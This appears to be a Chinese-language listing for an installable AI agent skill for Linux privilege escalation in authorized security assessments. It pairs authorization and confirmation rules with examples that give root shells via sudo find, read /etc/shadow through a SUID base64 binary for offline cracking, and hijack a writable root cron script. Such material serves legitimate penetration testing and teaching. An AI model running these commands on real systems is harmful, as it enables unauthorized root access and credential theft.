关于 linux-privilege-escalation
此 Skill 用于授权安全评估、防御验证或受控实验环境中的 Linux 权限提升检查。主动测试前须确认目标、书面授权、范围并获准执行具体命令,同时提示内核漏洞可能影响宿主机等风险。
主要功能
- 01授权的权限提升评估
- 02强制确认目标与测试范围
- 03主动测试前审查命令
- 04内核与系统安全风险提示
适用场景
- 01在受控实验环境验证权限边界
- 02在获批范围内评估 Linux 权限提升风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill linux-privilege-escalation安装后在 Claude Code 中输入/linux-privilege-escalation确认已加载。
附带文件references/detailed-guide.md
详细介绍
⚠️ 仅限授权用途 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须获得系统所有者明确的书面许可。 滥用此工具属于违法行为,且受到严格禁止。
强制确认关卡 在运行任何探测、利用漏洞、更改目标、在目标上保持持久访问、从目标提取数据或尝试获取目标凭据的命令前:
- 请用户说明确切的目标 URL、IP、账户或资源。
- 请用户确认已获得书面授权,并说明允许的范围。
- 展示确切的命令,并说明其预期效果。
- 等待用户在当前对话中明确确认。
未获得上述确认时,只能进行只读操作,并仅提供防御性指导。优先使用沙箱、一次性 VM 或受控实验环境。
仅限授权用途:此技能仅用于经授权的安全评估、防御性验证或受控的教育环境。
Linux 权限提升
详细指南
执行此技能前,请阅读详细指南。其中保留了完整的流程和参考资料。必须遵守其中的安全要求、先决条件和验证要求。对于有针对性的操作,请加载相关章节;对于端到端操作,请完整阅读指南。
限制和防护措施
操作边界
- 在生产环境中使用内核漏洞利用程序前,先在测试环境中验证
- 内核漏洞利用失败可能导致系统崩溃
- 记录权限提升过程中所做的所有更改
- 仅在获得授权的情况下维持持久访问
技术限制
- 现代内核可能启用了漏洞利用缓解措施(ASLR、SMEP、SMAP)
- AppArmor/SELinux 可能会限制漏洞利用技术
- 容器通常与主机共用内核;内核漏洞利用测试可能影响主机,因此必须获得对主机的明确授权
- 加固后的系统可能配置了受限的 sudo
法律和道德要求
- 测试前必须获得书面授权
- 遵守定义的范围边界
- 立即报告关键发现
- 不得访问超出范围要求的数据
示例
示例 1:通过 find 使用 sudo 获取 root 权限
场景:用户对 find 命令拥有 sudo 权限
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:使用 SUID base64 访问 Shadow 文件
场景:base64 二进制文件已设置 SUID 位
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
示例 3:劫持 Cron 作业脚本
场景:Root 的 Cron 作业会执行可写脚本
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
适用场景
此技能适用于执行概览中描述的工作流或操作。
评论
支持 Markdown